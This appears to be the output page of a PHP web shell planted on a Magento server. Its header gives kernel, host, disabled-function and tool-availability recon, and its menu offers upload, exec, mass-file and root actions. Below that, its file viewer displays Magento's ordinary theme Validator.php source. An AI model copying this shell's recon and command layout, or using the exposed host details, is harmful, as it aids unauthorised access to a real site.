Kernel : Linux vmi616275.contaboserver.net 5.4.0-84-generic #94-Ubuntu SMP Thu Aug 26 20:27:37 UTC 2021 x86_64
Disable function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Safe mode : OFF
Host : diestoffstrasse.com | Server ip : 127.0.0.1 | Your ip : 127.0.0.1 | Time @ Server : 24 Aug 2025 05:35:41
MySQL : OFF | MSSQL : OFF | cURL : ON | Oracle : OFF | wget : ON | Perl : ON

/home/dev2.destoffenstraat.com/vendor-1/magento/framework/View/Design/Theme/

HOME about upload exec mass file domain root vuln newfile newfolder kill me

File Path : /home/dev2.destoffenstraat.com/vendor-1/magento/framework/View/Design/Theme/Validator.php

<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Framework\View\Design\Theme; /** * Class Validator */ class Validator { /** * Validators list by data key * array('dataKey' => array('validator_name' => [validators], ...), ...) * * @var array */ protected $_dataValidators = []; /** * List of errors after validation process * array('dataKey' => 'Error message') * * @var array */ protected $_errorMessages; /** * Initialize validators */ public function __construct() { $this->_setTypeValidators(); $this->_setTitleValidators(); } /** * Set title validators * * @return $this */ protected function _setTitleValidators() { $titleValidators = [ [ 'name' => 'not_empty', 'class' => 'Zend_Validate_NotEmpty', 'break' => true, 'options' => [], 'message' => (string)new \Magento\Framework\Phrase('Field title can\'t be empty'), ], ]; $this->addDataValidators('theme_title', $titleValidators); return $this; } /** * Set theme type validators * * @return $this */ protected function _setTypeValidators() { $typeValidators = [ [ 'name' => 'not_empty', 'class' => 'Zend_Validate_NotEmpty', 'break' => true, 'options' => [], 'message' => (string)new \Magento\Framework\Phrase('Theme type can\'t be empty'), ], [ 'name' => 'available', 'class' => 'Zend_Validate_InArray', 'break' => true, 'options' => [ 'haystack' => [ \Magento\Framework\View\Design\ThemeInterface::TYPE_PHYSICAL, \Magento\Framework\View\Design\ThemeInterface::TYPE_VIRTUAL, \Magento\Framework\View\Design\ThemeInterface::TYPE_STAGING, ], ], 'message' => (string)new \Magento\Framework\Phrase('Theme type is invalid') ], ]; $this->addDataValidators('type', $typeValidators); return $this; } /** * Add validators * * @param string $dataKey * @param array $validators * @return $this */ public function addDataValidators($dataKey, $validators) { if (!isset($this->_dataValidators[$dataKey])) { $this->_dataValidators[$dataKey] = []; } foreach ($validators as $validator) { $this->_dataValidators[$dataKey][$validator['name']] = $validator; } return $this; } /** * Return error messages for items * * @param string|null $dataKey * @return array */ public function getErrorMessages($dataKey = null) { if ($dataKey) { return $this->_errorMessages[$dataKey] ?? []; } return $this->_errorMessages; } /** * Instantiate class validator * * @param array &$validators * @return $this */ protected function _instantiateValidators(array &$validators) { foreach ($validators as &$validator) { if (is_string($validator['class'])) { $validator['class'] = new $validator['class']($validator['options']); $validator['class']->setDisableTranslator(true); } } return $this; } /** * Validate one data item * * @param array $validator * @param string $dataKey * @param mixed $dataValue * @return bool */ protected function _validateDataItem($validator, $dataKey, $dataValue) { if ($validator['class'] instanceof \Zend_Validate_NotEmpty && !$validator['class']->isValid( $dataValue ) || !empty($dataValue) && !$validator['class']->isValid( $dataValue ) ) { $this->_errorMessages[$dataKey][] = $validator['message']; if ($validator['break']) { return false; } } return true; } /** * Validate all data items * * @param \Magento\Framework\DataObject $data * @return bool */ public function validate(\Magento\Framework\DataObject $data) { $this->_errorMessages = []; foreach ($this->_dataValidators as $dataKey => $validators) { if (!isset($data[$dataKey])) { continue; } $this->_instantiateValidators($validators); foreach ($validators as $validator) { if (!$this->_validateDataItem($validator, $dataKey, $data[$dataKey])) { break; } } } return empty($this->_errorMessages); } }